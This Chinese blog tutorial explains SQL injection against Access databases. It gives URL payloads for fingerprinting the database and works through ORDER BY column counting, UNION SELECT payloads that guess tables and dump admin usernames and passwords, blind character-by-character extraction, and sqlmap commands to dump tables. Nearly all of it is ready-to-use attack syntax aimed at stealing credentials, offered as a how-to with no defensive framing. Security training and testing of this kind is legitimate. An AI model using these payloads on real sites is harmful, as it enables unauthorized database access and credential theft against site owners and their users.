Access数据库注入

各个数据库独有表名:

msssql:sysobjects
mysql:infomation——schema
access:mssysobjects
Oracle:sys.user_table

判断数据库:

手工查数据库类型方法:

and (select count (*) from 独有表)>0

方法一:

在地址栏上显示的连接所带的参数后面加些特殊符号,看它的报错信息,如
http://www.**.com?id=1’
则回返回错误,如果是Microsoft JET Database Engine错误’80040e14’的话,则说明网站所用的数据库是Access数据库。

方法二:

http://wwww.***.com?id=1 and (select count(*) from sysobjects)>0  //sysobjects 是SQL表,返回正常则为MSSQL数据库
http://www.***.com/id=1 and (select count(*) from msysobjects)>0  //msysobjects 是access,返回权限不足 access数据库

如果加sysobjects的SQL语句后,网页显示正常,
加msysobject的SQL语句后,网站显示不正常,则说明用的是SQLServer数据库。
如果加sysobjects和加msysobjects的SQL语句后,网页显示都不正常,或者加msysobject后的网页显示正常,则说明是ACCESS数据库。
但首先得允许访问系统表。

exists(select*from msysobjects)//如果这条语句正确,说明是Access数据库

MSysObjects表中包含了所有数据库对象。但遗憾的是,Access数据库默认不允许访问这些表。

1.判断注入点

2.确定列名的数目

语句order by 列名数

3.猜表名

1.1 语句 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 表名

1.2 语句 and exists (select * from 表名) //返回正常则说明存在admin数据表

4.猜列名

1.1 语句 UNION SELECT 1,2,列名一,4,5,6,7,8,9,10,11,12,13,14,列名二,16,17,18,19,20,21,22 from 表名

1.2 语句 and exists (select 列名 from 表名)

5.爆数据(先确定长度)

1.1 语句 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

1.2 确定admin列第一行数据的长度

语句 and (select top 1 len(列名) from 表名) =5 //top 1子句含义:查询结果只显示首条记录,len()取长度,返回正常,则说明admin第一行的数据长度为5

猜解admin第一列数据内容:

语句 and (select top 1 asc(mid(列名,n,1)) from 表名) =97 //返回正常

Sqlmap注入Access数据库:

爆出access数据库存在的表:sqlmap -u "xxx"  --tables

爆出admin数据库中的列名:sqlmap -u "xxx" -T admin --columns

爆出admin表下username列的所有数据:sqlmap -u "xxx" -T admin -C username --dump-all

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值